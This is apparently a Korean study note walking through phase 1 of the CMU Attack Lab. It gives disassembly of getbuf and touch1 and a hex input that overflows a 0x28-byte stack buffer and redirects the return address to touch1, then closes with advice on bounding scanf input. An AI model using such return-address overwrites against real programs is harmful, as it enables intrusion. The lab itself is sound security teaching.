C언어에서 입력을 받을 때 종종 scanf, gets 등을 사용한다.
scanf에 인자로 %s를 넘겨주면 buffer overflow를 유발할 수 있다.
CMU Attack Lab Self-Study의 ctarget을 objdump하여 asm을 확인하면,
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
과 같이 되어있다.
getbuf 함수는 stack 0x28만큼 할당 받는다.
이 때, 입력을 0x28 바이트 초과로 주면 다른 stack 영역을 침범하게 된다.
getbuf 가 할당 받은 stack의 바로 윗부분은 getbuf가 ret되고 돌아갈 instruction의 주소가
저장되어 있다.
현재 우리의 목표는
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
위 touch1 을 실행시키는 것으로, 돌아갈 instruction의 주소를 0x4017c0 으로 바꿔주면,
getbuf가 반환될 때 touch1이 호출될 것이다.
즉, 프로그램 입력으로
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
위 hex문자를 raw로 바꿔서 입력을 해주면 touch1이 실행된다.
실습환경이 x86-64임을 고려하여 리틀엔디안으로 작성한다.
buffer overflow를 방지하려면, scanf에 %s를 사용하지 않고 %40s 이런식으로 길이를 정해주거나 scanf_s 와 같은 다른 함수를 사용해야한다.